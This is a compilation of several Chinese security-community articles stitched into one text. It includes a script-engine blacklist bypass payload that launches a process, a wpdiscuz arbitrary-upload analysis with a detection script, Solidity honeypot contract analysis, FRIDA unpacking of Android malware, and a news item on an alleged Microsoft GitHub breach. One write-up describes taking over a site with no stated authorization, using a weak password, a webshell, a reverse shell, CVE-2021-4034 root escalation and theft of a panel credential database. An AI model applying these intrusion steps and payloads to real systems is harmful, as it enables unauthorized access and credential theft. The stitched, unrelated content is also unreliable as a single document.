Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
StringUtils.containsIgnoreCase(oneWhiteSpace, s)).collect(Collectors.toSet());
#### 0x06 一些总结
* 为什么要禁用new function呢？这是因为js的特性，可以使用js返回一个新的对象，如下面的字符串。可以看到这种情况就很难通过字符串匹配来过滤了。
var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')(); x.command("calc"); x.start(); var a = mainOutput(); function mainOutput() {};
* 黑名单总是存在潜在的风险，总会出现新的绕过思路。而白名单就比黑名单好很多，但是又失去了很多灵活性。 | 社区文章 |
# 微软GitHub账号疑似被黑，黑客声称窃取500GB数据
|
##### 译文声明
本文是翻译文章，文章原作者 Lawrence Abrams，文章来源：https://www.bleepingcomputer.com/
原文地址：<https://www.bleepingcomputer.com/news/security/microsofts-github-account-allegedly-hacked-500gb-stolen/>
译文仅供参考，具体内容表达以及含义原文为准。
**根据BleeppingComputer透露的消息，就在前两天，一名黑客声称自己成功入侵了微软的隐私GitHub库，并从中窃取了超过500GB的数据。**
微软公司尚未就该漏洞事件公开发表评论，这似乎并没有影响到该公司任何主要软件产品。
在此攻击事件发生之后，以为自称名叫“Shiny
Hunters”的黑客与BleepingComputer联系，并告知称他已经成功入侵了微软的GitHub账号，而且成功获取到了其私有GitHub库的完整访问权。
为了证明自己已成功入侵，这名名攻击者还向媒体提供了自己攻击成功的界面截图：
这名攻击者表示，他成功入侵微软的隐私GitHub库之后，下载了超过500GB的项目代码，一开始他是打算把这些代码卖掉的，不过现在他打算免费公布给大家。
根据公布的泄露文件文件时间戳，入侵行为貌似发生在2020年的3月28日。泄露文件列表所显示的文件时间戳如下图所示：
“Shiny Hunters”向BleepingComputer表示，在成功入侵并下载了相关源码之后，他就再也没有访问过微软的GitHub库了。
## 微软私有库代码泄露
为了吸引社区人员的注意，这名攻击者还专门在一个黑客论坛上发布了1GB的泄露文件，以供网站的注册用户访问泄露数据。
由于其中的部分泄露文件中包含了中文文本或指向latelee.org的引用链接，因此论坛上的某些用户对此次泄露数据的真实性表示怀疑。
在该名攻击者发送给BleepingComputer的目录列表以及其他隐私库样本中，被盗的数据大多数都是代码样例、测试项目以及一个电子书和其他的通用项。
但是，其中也有一些私有代码库看起来也比较有趣，比如说有一些命名为“wssd cloud agent”、“The Rust/WinRT language
projection”，还有一个名叫“PowerSweep”的PowerShell项目。
总的来说，从攻击者共享出来的内容来看，微软似乎并没有什么需要担心的，因为这里没有涉及到Windows或Office的源代码。
除此之外，很多在黑客论坛上看到泄露数据的网络情报公司也认为，微软并不需要对此次事件有过多的担心。
但是，微软方面处于安全考虑，确实需要对此次事件表示担心，因为有些开发人员可能会像之前那样不小心把私有API密钥或其他隐私密码留在了一些私有代码库中。
微软公司的员工Sam Smith则通过推文回应称，他个人认为此次泄露事件是伪造的，因为微软有一个所谓“不成文的规则”，就是GitHub库必须在30天内公开。
但无论此次事件是真是假，目前普遍的共识是并没有对微软有什么影响。如果泄露属实，最迫切的关注点是黑客如何取得访问权限的。
在此次事件被曝光之后，BleepingComputer已与微软方面取得了联系，以确认这些文件是否合法，但尚未收到微软方面的回复。
**如需了解事件后续进展，请各位及时关注安全客的最新进展。** | 社区文章 |
### 前言
在t00ls上看到一个老哥wordpress站点被搞了，下载了access日志分析了一下，发现攻击路径是先访问了一个页面，然后访问 /wp-admin/admin-ajax.php?action=wmuUploadFiles
后直接就shell落地了，确定是这个模块有问题了；后来说是wpdiscuz评论插件的漏洞，看了下官网V7.0.5修复了一次安全漏洞，于是下载V7.0.3版本学习一下（7.0.4没找到）。
### 环境
* php 5.6.40
* mysql 5.7.26
* Phpstorm
* Wordpress 5.4.1 + wpdiscuz V 7.0.3
### 分析
1.环境搭建后，手动安装wpdiscuz插件后，看到文章下增加评论模块
2.phpstorm导入web目录，点击图片按钮，上传一个php文件测试一下，上传路径是<http://127.0.0.1:8888/wordpress/wp-admin/admin-ajax.php，默认是上传不了的。>
3.从入口点分析，如图是wp_filter的action过滤
4.跟进去，可以看到上传的功能点，再进去
5.可以看到如图位置，使用getMimeType方法根据文件内容获取文件类型，并不是通过文件后缀名判断，进一步根据$mineType判断是否是允许的上传类型。
6.跟入查看isAllowedFileType方法，在判斷$mineType是否在$this -> options ->
content["wmuMimeTypes"]中存在。
7.如图，进入$options中，可以content["wmuMimeTypes"]使用三目运算判断，搜索上下文得知，结果就是$defaultOptions[self::TAB_CONTENT]["wmuMimeTypes"]
8.进入$defaultOptions中可以得到最终$this -> options ->
content["wmuMimeTypes"]的值是几种常见的图片类型。
9.很明显此时文件类型已经通过getMimeType()方法修改为text/plain了，但是回到进入isAllowedFileType的代码，发现程序只在此处对上传文件进行了判断后，直接保存了文件。
### 利用
如此，程序只是根据文件内容判断文件类型，并未对文件后缀进行效验，构造一个图片马，或者手动在webshell前面加上图片头信息即可绕过。
1.把后门文件追加到图片后
2.上传并修改后缀名为php，可以看到返回路径
3.连接webshell
### 检测
在装上wpdiscuz插件后，每个文章中都会带有如下标签信息，且带有版本号，可利用此特征编写脚本或者巡风插件。
简单的检测脚本，exp功能删除了
import requests
import re
import sys
class wpdiscuz():
def __init__(self):
self.s = requests.session()
self.s.headrs = {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Edg/80.0.361.66"
}
self.nonce = ""
self.state = False
def check(self, url):
res = self.s.get(url=url)
pat1 = "wpdiscuz/themes/default/style\.css\?ver=(.*?)'"
reSearch1 = re.search(pat1, res.text)
if reSearch1 == None:
print("%s 评论插件不存在任意文件漏洞" % url)
return
mess = reSearch1.group(0)
version = reSearch1.group(1)
# 判断版本
vers = version.split(".")
if (len(vers) == 3):
if int(vers[0]) == 7:
if int(vers[2]) <= 4:
print(url + " 存在任意文件上传漏洞 wpdiscuz版本为 %s" % version)
self.state = True
if self.state == True:
# nonce
pat2 = '"wmuSecurity":"(.*?)"'
reSearch2 = re.search(pat2, res.text)
nonce = reSearch2.group(1)
self.nonce = nonce
else:
print("%s 评论插件不存在任意文件漏洞" % url)
def exp(self, url, project, filepath):
pass
if __name__ == "__main__":
wpdiscuz = wpdiscuz()
url = sys.argv[1]
print("检测漏洞结果:")
wpdiscuz.check(url) | 社区文章 |
### 一、前言
在前一篇的蜜罐合约中，我们介绍并测试了部分由于继承等问题而搭建的蜜罐合约。蜜罐合约顾名思义，就是利用了受害者的投机想法，从而另普通用户自行进行转账的合约。在我们文章中演示的相关合约对owner友好，即普通用户很难从合约中获得利益，所以读者如果看到类似的合约请不要轻易的使用以太币进行尝试。
而本文中，我们在蜜罐合约之上分析由Solidity的结构体产生的漏洞，而此漏洞危害性极大，倘若合约开发不到位会导致owner的篡改，即普通用户的提权操作。
### 二、由合约漏洞而导致的蜜罐
#### 1 蜜罐合约介绍
* 合约的地址为：[0xd1915A2bCC4B77794d64c4e483E43444193373Fa](https://etherscan.io/address/0xd1915A2bCC4B77794d64c4e483E43444193373Fa#code)
pragma solidity ^0.4.19;
/*
* This is a distributed lottery that chooses random addresses as lucky addresses. If these
* participate, they get the jackpot: 1.9 times the price of their bet.
* Of course one address can only win once. The owner regularly reseeds the secret
* seed of the contract (based on which the lucky addresses are chosen), so if you did not win,
* just wait for a reseed and try again!
*
* Jackpot chance: 50%
* Ticket price: Anything larger than (or equal to) 0.1 ETH
* Jackpot size: 1.9 times the ticket price
*
* HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address
* Keep in mind that your address can only win once
*
* If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance.
*
* Example: For each address, a random number is generated, either 0 or 1. This number is then compared
* with the LuckyNumber - a constant 1. If they are equal, the contract will instantly send you the jackpot:
* your bet multiplied by 1.9 (House edge of 0.1)
*/
contract OpenAddressLottery{
struct SeedComponents{
uint component1;
uint component2;
uint component3;
uint component4;
}
address owner; //address of the owner
uint private secretSeed; //seed used to calculate number of an address
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
uint LuckyNumber = 1; //if the number of an address equals 1, it wins
mapping (address => bool) winner; //keeping track of addresses that have already won
function OpenAddressLottery() {
owner = msg.sender;
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
}
function participate() payable {
if(msg.value<0.1 ether)
return; //verify ticket price
// make sure he hasn't won already
require(winner[msg.sender] == false);
if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 1
winner[msg.sender] = true; // every address can only win once
uint win=(msg.value/10)*19; //win = 1.9 times the ticket price
if(win>this.balance) //if the balance isnt sufficient...
win=this.balance; //...send everything we've got
msg.sender.transfer(win);
}
if(block.number-lastReseed>1000) //reseed if needed
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
}
function luckyNumberOfAddress(address addr) constant returns(uint n){
// calculate the number of current address - 50% chance
n = uint(keccak256(uint(addr), secretSeed)[0]) % 2; //mod 2 returns either 0 or 1
}
function reseed(SeedComponents components) internal {
secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
)); //hash the incoming parameters and use the hash to (re)initialize the seed
lastReseed = block.number;
}
function kill() {
require(msg.sender==owner);
selfdestruct(msg.sender);
}
function forceReseed() { //reseed initiated by the owner - for testing purposes
require(msg.sender==owner);
SeedComponents s;
s.component1 = uint(msg.sender);
s.component2 = uint256(block.blockhash(block.number - 1));
s.component3 = block.difficulty*(uint)(block.coinbase);
s.component4 = tx.gasprice * 7;
reseed(s); //reseed
}
function () payable { //if someone sends money without any function call, just assume he wanted to participate
if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot
participate();
}
}
下面我们简单的分析一下这个类彩票合约。
为何称这个合约为蜜罐合约么？我们根据合约内容可以知道，合约在起始时赋值`LuckyNumber`为1，而在参与函数中根据参与者的地址生成随机数`0 or
1`，之后如果为1，那么就返还value *
1.9的赌金。看似0.5的高概率，但是合约利用了一种以太坊的bug，从而导致用户永远不可能取到钱。下面请看我们的分析。
首先，合约定义了一个结构体。（我认为本来不需要结构体这样的类型来进行随机数的生成，所以我觉得这里的结构体是为了触发合约的漏洞）
struct SeedComponents{
uint component1;
uint component2;
uint component3;
uint component4;
}
之后定义了五个变量，分别代表合约的`owner、随机数种子、上一次的记录值、幸运数、竞猜获胜者集合`。
address owner; //address of the owner
uint private secretSeed; //seed used to calculate number of an address
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
uint LuckyNumber = 1; //if the number of an address equals 1, it wins
mapping (address => bool) winner; //keeping track of addresses that have already won
而下一个部分是构造函数。
function OpenAddressLottery() {
owner = msg.sender;
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
}
构造函数将`owner`赋初值为合约创建者，之后调用`reseed`函数。而我们下面就看一看这个函数的作用。
function reseed(SeedComponents components) internal {
secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
)); //hash the incoming parameters and use the hash to (re)initialize the seed
lastReseed = block.number;
}
在这个函数中，我们会传入`components`结构体，并使用`keccak256
()哈希函数`更新`secretSeed`的值，并初始化`lastReseed`。
也就是说，我们在构造函数中调用此函数来更新`secretSeed`的值。
之后，我们来看`participate()`，此函数是用户调用参与接口，用于竞猜的环节。
function participate() payable {
if(msg.value<0.1 ether)
return; //verify ticket price
// make sure he hasn't won already
require(winner[msg.sender] == false);
if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 1
winner[msg.sender] = true; // every address can only win once
uint win=(msg.value/10)*19; //win = 1.9 times the ticket price
if(win>this.balance) //if the balance isnt sufficient...
win=this.balance; //...send everything we've got
msg.sender.transfer(win);
}
if(block.number-lastReseed>1000) //reseed if needed
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
}
在函数中，我们看到用户必须传入`value >= 0.1
eth`，并且用户还未赢得过奖励。之后合约会将`LuckyNumber`与`luckyNumberOfAddress(msg.sender)`进行比较。倘若两者的值相等，那么记录下该用户的中奖记录并进行【value
* 1.9】的转账奖励（余额不足的将所有余额转入）。
而我们在看`luckyNumberOfAddress`函数。
function luckyNumberOfAddress(address addr) constant returns(uint n){
// calculate the number of current address - 50% chance
n = uint(keccak256(uint(addr), secretSeed)[0]) % 2; //mod 2 returns either 0 or 1
}
传入一个地址，之后根据传入的地址产生随机数，并%2，得到1或0 。
然后是一个测试函数`forceReseed`。
function forceReseed() { //reseed initiated by the owner - for testing purposes
require(msg.sender==owner);
SeedComponents s;
s.component1 = uint(msg.sender);
s.component2 = uint256(block.blockhash(block.number - 1));
s.component3 = block.difficulty*(uint)(block.coinbase);
s.component4 = tx.gasprice * 7;
reseed(s); //reseed
}
合约创建者在这个函数后面添加了注释`//reseed initiated by the owner - for testing
purposes`。表达用于测试的目的。
然而问题就是出在这个地方。
整体来看，这个合约并没有什么问题。gamble的过程也十分清晰。
然而我们进行一个合约测试。
#### 2 攻击手段分析
我们先看一个测试合约：
pragma solidity ^0.4.24;
contract test
{
address public addr = 0xa;
uint public b = 555;
uint256 public c = 666;
bytes public d = "abcd";
struct Seed{
uint256 component1;
uint256 component2;
uint256 component3;
uint256 component4;
}
function change() public{
Seed s;
s.component1 = 1;
s.component2 = 2;
s.component3 = 3;
s.component4 = 4;
}
}
在这个合约中，我们设置了4个变量，而这四个变量均有初始值。之后我们又设置了结构体`Seed`。在这个结构体中拥有四个变量，而我们在`test()`函数中初始化结构体并赋初值，之后我们看看效果。
部署合约：
查看变量内容:
之后我们调用`change`函数。并查看，发现我们的变量被修改了，而修改的内容就是结构体中的内容。
这就是我们的漏洞所在。
我们的合约中并没有修改变量的值，但是由于solidity机制的问题而导致了变量修改问题。
而这个漏洞对我们上述介绍的蜜罐合约有什么影响呢？我们进行一下测试。
为了方便我们查看测试效果，我们为`LuckyNumber`添加查看函数。
倘若此时`owner`不进行任何操作，任凭用户进行下一步的赌博，那么用户还是有很大的概率获得奖励的。例如：（为了方便演示，我在函数中添加了event事件）
`emit back(msg.sender,win,true);`。
此时我们能够看到，`LuckyNumber`是初始值1 。
之后，我们更换用户进行参与。我们投入1 eth进行竞猜。
第一次：
没有获得奖励，所以1 eth赔进去了。
继续更换用户参与：
直到最后一个用户：
我们得到了奖励金`1900000000000000000 wei`，所以竞猜成功。
而我们大致能够发现，其实我们是拥有很大的概率获得奖励的。这个合约真的就是拼概率的传统赌博合约吗？然而事实并非如此。
根据我们前文所测试的漏洞，这个合约中同样存在恶意篡改的行为。我们发现了合约中其实存在着`结构体`。
而这个结构体在合约中存在修改函数：
所以，如果`owner`调用了此函数，那么会不会发起漏洞从而将竞猜值恶意修改呢？
我们更换地址为owner，并且调用此函数。
我们惊奇的发现，果然此时的竞猜值从1变成了7 。
而我们合约中的判断条件是`luckyNumberOfAddress(msg.sender) ==
LuckyNumber`。而我们函数中`luckyNumberOfAddress(msg.sender)`只能是0或者1两种可能。这里的LuckNumber是7，也就是说无论我们如何竞猜，永远都不会成功。
### 三、赌博？庄家永远更胜一筹
在看完上述的 **高级** 蜜罐后，我们来看一下常规的蜜罐合约。
合约地址为：<https://etherscan.io/address/0x94602b0E2512DdAd62a935763BF1277c973B2758#code>
pragma solidity ^0.4.19;
// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ether
contract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.1 ether;
address public ownerAddr;
struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed;
function CryptoRoulette() public {
ownerAddr = msg.sender;
shuffle();
}
function shuffle() internal {
// randomly set secretNumber with a value between 1 and 20
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
}
function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);
if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
}
shuffle();
lastPlayed = now;
}
function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);
}
}
function() public payable { }
}
为什么说蜜罐的owner更胜一筹呢？我们在阅读了合约的所有函数内容后就知道，在合约中的`shuffle()`函数%20，也就意味着它最后的范围是`0~19`，而用户能够传入的数是多少呢？在`play()`函数中，用户需要传入一个`number`，而其规定值<=10。
其概率值相对来说还是极低的。并且在一天之后，倘若用户还未猜对那么owner便可以调用`kill()`函数进行自杀操作。将余额转入到自己的账户中。
### 四、参考链接
* <https://xz.aliyun.com/t/3963>
* <https://paper.seebug.org/631/#322-solidity-04x>
* <https://etherscan.io/address/0x94602b0E2512DdAd62a935763BF1277c973B2758#code>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
### 一.起
进入登陆界面
然后直接弱密码admin/admin，成功进入后台
然后开始到处寻找可利用的点，于是找到了文件上传的点
然后bp抓包，上传一句话木马，发现只是一个简单的前端过滤
然后上传成功，返回了一个路径
访问路径发现已经成功了
### 二.承
然后连接哥斯拉，成功连接
### 三.转
先反弹shell，用的是msfvenom生成的一个elf文件，放在目标服务器，然后运行，自动反弹shell
msf里面有个可以自动提权的就是suggester，先试试使用suggester，看看有什么能用的提权工具
发现有三个可以尝试一下
一个一个试，接二连三全部失败，太让人伤心了
1.
2.
3.
### 四.另辟蹊径
因为我是个懒人，所以首先想都没想就用的msf，但是，既然msf不成功，那我们必须用其他的方法了，首先我想到的就是suid提权。
首先用哥斯拉查看一下内核版本
内核版本为3.10.0
然后开始尝试suid提权，使用find / -perm -u=s -type f
2>/dev/null命令，可以找到系统上运行的所有suid可执行文件，那个命令记不住就直接上网搜。
发现列表中没有可以利用的，但是发现有一个/usr/bin/pkexec，于是想到最近爆出的Linux提权漏洞CVE-2021-4034
那个提权漏洞影响的版本如下
然后我们上传了Linux提权suggester，发现可以利用脏牛，于是上传脏牛脚本
gcc编译后运行，cat /etc/passwd却没有发现增加提权后的用户，猜测是打了补丁
接着回到polkit提权，找到了poc，<https://github.com/ck00004/CVE-2021-4034>
编译后执行
可以看到我们成功了，成功提权至root权限
找到宝塔面板的配置数据存放路径，将default.db复制到web路径，保证可以被我们访问到，将其下载下来，使用navicat打开即可获取到宝塔面板密码hash，但是由于加了盐，cmd5没有解密出。
### 五.结语
这次艰难的提权运用到的知识点有1).简单的文件上传漏洞，一句话木马的编写以及修改文件后缀。还需注意保存上传的路径！2).哥斯拉工具的使用。3).使用msfconsole反弹shell，使用的是msfvenom。4).使用msf的suggester，并且尝试提权。5).suid提权，不记得命令就搜。6).CVE-2021-4034，以及脏牛提权脚本。7).将要下载的文件复制到web路径，要确保我们能够下载下来。
总之，不会就搜，还是可以多看看cve的，因为我没看过那个cve所以就一直没有成功，就巨巨巨艰难，都是请了好几个同学帮忙看一看，然后一个学长给我发了个这个cve文章才成功解决了。还是要学习啊，学啊永无止境。 | 社区文章 |
# 如何使用FRIDA搞定Android加壳应用
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
最近我们在FortiGuard实验室中遇到了加壳过的许多Android恶意软件。这个恶意软件有个有趣的特点，尽管所使用的加壳程序一直不变，但释放出的恶意软件载荷却经常发生变化。
对加壳程序的分析可能让人手足无措，我们通常很难理解程序的执行流程，并且呈现在眼前的大量垃圾信息很容易吓跑一些分析人员。
正因为如此，我们希望与大家分享我们在分析这类恶意软件过程中对某些问题的处理方式。实际上，在本文中我们将演示如何依赖开源工具，提取出当今最常见的释放器（dropper）所释放的恶意软件。
我们所分析的样本哈希为`509aa4a846c6cb52e9756a282de67da3e8ec82769bceafa1265428b1289459b3`。
## 二、静态分析
### 概览
首先我们来看一下本文的主角：某个APK文件。
图1. APK中所包含的文件
如上图所示，其中有些特征非常可疑，比如`MawmjulbcbEndsqku^nd.cml`文件究竟是什么？
可以先使用bash中的`file`命令来分析这个文件。不幸的是，该命令无法检测到该文件的具体类型。使用十六进制编辑器（这里我们使用的是[radare2](https://rada.re/r/)，这是一款开源逆向工程框架）查看文件后，我们仍然无法确定文件的具体类型。
图2. 十六进制视图
根据这些信息，再结合看起来像是随机字符的文件名，我们认为这可能是经过主程序加密处理的一个文件。
观察Android Manifest文件后我们可能获取更多信息。
### Android Manifest
`AndroidManifest.xml`是一个Android二进制XML文件，包含关于应用的大量信息，例如：
* 应用包名，可通过该包名在设备上访问目标应用
* 应用所使用的activity、service以及receiver的完整列表（如果没有在该文件中声明，则后续无法使用）
* 申请的所有权限
* 在执行期间使用的intent action过滤器列表
* 其他一些信息，如图标等
我们首先注意到一件事，应用的所有组件名称都使用了完全随机的字符串。这可能是恶意行为的一种特征，但合法应用开发者可能也会使用这种技巧来避免竞争对手逆向分析自己的劳动成果。
我还注意到另一件事：除了Application类`com.asgradc.troernrn.yeSACsSs`之外，反编译后的`classes.dex`文件中并没有声明Android组件（activity、receiver以及service类）。这非常奇怪：声明不存在的类并跳过已有类究竟有什么用处？
后面我们发现这个APK会加载其他外部代码。此外，鉴于应用所请求的权限（如发送SMS消息的权限），我们非常确定这些代码肯定不怀好意。
图3. AndroidManifest中的SMS过滤器
### 逆向分析
我们可以使用许多免费工具将APK反汇编成可读代码，包括如下几种选项：
* Apktool：获取类所对应的SMALI表示法
* dex2jar：将`.dex`文件转化为jar归档文件，然后可以使用`jd-gui`分析所生成的文件
* jadx：以较友好的GUI界面将所有代码反编译成java代码
我个人最喜欢的jadx，但其他方案也可以作为备选，因为在极少数情况下，只有某些工具能够反编译代码。
所以接下来我们开始使用jadx来分析APK文件。不幸的是，结果并不太理想。
图4. 加壳应用类
我们看到的是最为典型的加壳应用，充斥在眼前的是大量无用的垃圾数据：无意义的字符串、无意义的计算逻辑以及无意义的函数。我们花了一些时间尝试澄清执行流程：应用要么需要调用某些加密库或者有自己的解密函数才能解密加密文件。一旦解密完成，就需要使用[`ClassLoader`](https://developer.android.com/reference/java/lang/ClassLoader)对象或者其他方法来加载新的文件。
不幸的是，APK导入表中并没有包含这类库，而是包含了一些反射（Reflection）方法来间接调用已加载的任何库。与此同时，应用同样使用无法理解的许多函数来动态生成这些反射方法的参数。
很明显静态分析无法搞定这个对手。这里引用George Bernard Shaw的一句名言：
> 很早以前我就明白，永远不要与一只猪争斗，你会把自己弄得很脏，而且猪就喜欢这样。
我们不会再陷入泥潭，必须找到更加快速的方法。
## 三、动态分析
Google可以让我们下载Android所有版本对应的SDK，然后通过Android
Studio创建模拟器。这是测试恶意软件的最好方法，不存在被感染的风险。
因此我们选择Marshmallow 6.0模拟器来分析该样本，通过`adb`（Android Debug
Bridge）命令来安装APK。如果APK想加载新的可执行文件，设备（或者模拟器）的内置logger就可以捕捉到这种事件。
运行`adb`命令连接到系统logger，只选择包含目标包名的输出：
$ adb logcat | grep "com.jgnxmcj.knreroaxvi"
然后运行目标应用，在各种输出结果中，我们最终找到了关键日志：
10-25 17:12:11.001 24358 24358 W dex2oat : /system/bin/dex2oat --runtime-arg -classpath --runtime-arg --instruction-set=x86 --instruction-set-features=smp,ssse3,-sse4.1,-sse4.2,-avx,-avx2 --runtime-arg -Xrelocate --boot-image=/system/framework/boot.art --runtime-arg -Xms64m --runtime-arg -Xmx512m --instruction-set-variant=x86 --instruction-set-features=default --dex-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar --oat-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.dex
APK的确在创建一个新的`.dex`文件。非常好，我们只需要拿到这个文件，这样就无需逆向分析这个释放器（dropper）了。
不幸的是，当我们尝试获取该文件时，发现`/data/user/0/com.jgnxmcj.knreroaxvi/app_files`目录中并没有这个文件。显然，这些开发者（特别是恶意软件开发者）通常会在文件使用后执行删除操作，清理战场。因此我们的下一个问题是，如何阻止释放器删除该文件？
这里让我隆重介绍一款工具：[FRIDA](https://frida.re/)。
FRIDA是一个非常优秀的工具包，可以在应用执行期间hook Javascript代码，也能用来修改函数、字段以及其他属性。
在本案例中，我们需要做的是阻止应用删除`rzwohkt.jar`文件，以便保存到我们的主机中进一步分析。
使用FRIDA的正常思路就是先找到负责文件删除的类，然后hook相关方法并跳过代码逻辑。然而我们再也不想与猪进行摔跤比赛，因此我们准备使用动态分析来实现完全跳过这部分内容。
如果我们能够找出删除过程中用到了哪个系统调用，那么我们就可以完美绕过。不论混淆代码中具体哪个位置执行了系统调用，如果我们能正确hook系统中的原生函数，应该就能够提取出所需的载荷。
### 使用Strace
这里最大的问题在于，我们如何找到正确的函数？幸运的是，有一种简单的方法可以获取执行过程中涉及到的所有函数列表。
[Strace](https://linux.die.net/man/1/strace)是一个非常好用的Linux工具，允许用户获取进程和Linux内核之间所有交互操作的完整报告。由于Android[支持](https://source.android.com/devices/tech/debug/strace)该工具，因此我们借此可以找到需要hook的函数。
图5. Strace输出结果
从上图中可知，我们要寻找的函数为`unlink()`。
接下来我们要做的就是将我们自己的代码hook该函数，避免文件被删除。
### FRIDA代码
最后，我们已经掌握所需的所有信息，现在可以创建我们的FRIDA hook了。
首先，我们需要在移动模拟器上运行匹配目标架构的[`frida-server`](https://github.com/frida/frida/releases)。
既然能够hook我们的FRIDA代码，我们只需要创建脚本，然后hook并跳过`unlink()`函数即可。为了完成这个任务，我们使用[Interceptor.replace(target,
replacement)](https://www.frida.re/docs/javascript-api/#interceptor)方法来替换`target`函数，将其具体实现替换为`replacement`函数的实现。我们使用`Module.findExportByName(module,
exp)`来获取我们函数的指针，如果不知道`module`名，我们可以传入`null`，只不过这样会影响速度。
console.log("[*] FRIDA started");
console.log("[*] skip native unlink function");
// create a pointer to the function in the module
var unlinkPtr = Module.findExportByName(null, 'unlink');
Interceptor.replace(unlinkPtr, new NativeCallback(function (){
console.log("[*] unlink() encountered, skipping it.");
}, 'int', []));
这样操作后，一旦调用`unlink()`函数，FRIDA就会拦截调用，运行我们的代码。在这个例子中，此时会简单地输出一条日志信息，通知我们该调用已被跳过。
最后，我们只要将脚本附加到目标应用进程即可。我们运行`dropper_startup.py`脚本，该脚本可以启动目标应用，然后将FRIDA脚本附加到`frida-server`上。
图6. FRIDA输出
从日志中我们可以看到多次`unlink()`操作，这表明应用在执行过程中还会删除其他文件。第二次调用`unlink()`后，我们终于可以执行如下命令：
$ adb pull /data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar
成功获取我们所需的文件，这是包含`class.dex`载荷的一个jar归档文件。
## 四、总结
Android恶意软件变得越来越复杂，每天都在发展，就像成熟的Windows恶意软件一样。释放器（dropper）只是部署载荷的一种方式，但的确能行之有效。恶意软件所使用的随机字符串及无意义的函数容易欺骗反病毒引擎。Fortinet已经能识别这个恶意软件，保护客户免受其害，具体标识如下：
* 释放器： Android/Agent.CHG!tr
* 载荷：Android/Agent.ARL!tr
FortiGuard实验室会继续跟踪这类恶意软件的演化过程。
大家可以访问[FortiGuard Lion Github页面](https://github.com/fortiguard-lion/FRIDA-scripts)下载本文使用的所有脚本。
## 五、IOC
加壳应用：`509aa4a846c6cb52e9756a282de67da3e8ec82769bceafa1265428b1289459b3`
载荷：`4fa71942784c9f1d0d285dc44371d00da1f70f4da910da0ab2c41862b9e03c89` | 社区文章 |
亲爱的白帽子们~
新年快乐！
1月24日——2月2日为先知众测团队的春节假期；在这期间提交的漏洞，将于2月3日开始进行审核（高危及严重漏洞视对厂商的影响，可能提前审核）。
春节期间，我们鼓励大家停下手中的工作，好好休息陪陪家人。
当然啦，对“沉迷技术无法自拔”的白帽子（偷笑），若在春节挖洞过程中遇到紧急情况或问题（以不影响客户业务为第一前提），仍可第一时间联系平台管理员进行处理哦~
随着2017年新年的到来，先知众测从开始运营到现在也正好一年啦。感谢大家过去一年对先知众测平台的大力支持！
新的一年，先知平台一定给大家带来更多的期待和惊喜！
阿里云云盾先知平台
2017年1月24日 | 社区文章 |
原文链接：<https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf>
原作者：Moritz Jodeit
译：xd0ol1 (知道创宇404安全实验室)
这里为前3部分的翻译，不对之处还望多多指正:D
### 1 简介
运行在Windows 10上的最新版Internet Explorer
11中加入了大量的漏洞利用缓解措施，试图放缓攻击者的利用脚步，虽然微软最近还在大肆宣传他们的旗舰浏览器Edge，但在漏洞利用的保护上可以发现许多出现在Edge上的方案同样应用到了最新版的Internet
Explorer
11中。这些措施的目的说到底只有一个，那就是尽可能的增加exploit开发的难度和时长。单就堆和内存保护来说，那些经常需要绕过的就有ASLR、DEP以及CFG。如果你能想办法绕过所有的这些防护，那么你就有机会去实现远程代码的执行，同时你还需要考虑如何进行沙箱的逃逸，这就要求用到更多的利用方法了，并且对于内核漏洞的情况你还会碰到内核利用方面相关的保护措施，例如内核态DEP、KASLR、SMEP、空指针解引用保护等。当然，如果你还想在开启微软EMET（Enhanced
Mitigation Experience Toolkit）保护的情况下继续进行漏洞的利用，那么事情就变得更有意思了。
虽然上述种种让exploit的开发过程变得很困难，但借助合适的漏洞也是可以不需要过多考虑其中的大部分保护就能写出可行利用的，特别是如果你不按标准套路那样以shellcode的方式而是通过重用浏览器内部已有函数的方式去完成远程代码的执行。
本文将详细讨论我们发现的一个关于Internet Explorer 11中JavaScript实现方面的漏洞，以及我们如何成功借此写出一个能在Windows
10的IE 11（64位并启用EPM）上可靠利用的exploit，这其中包括了沙箱的逃逸和一种绕过当前最新EMET
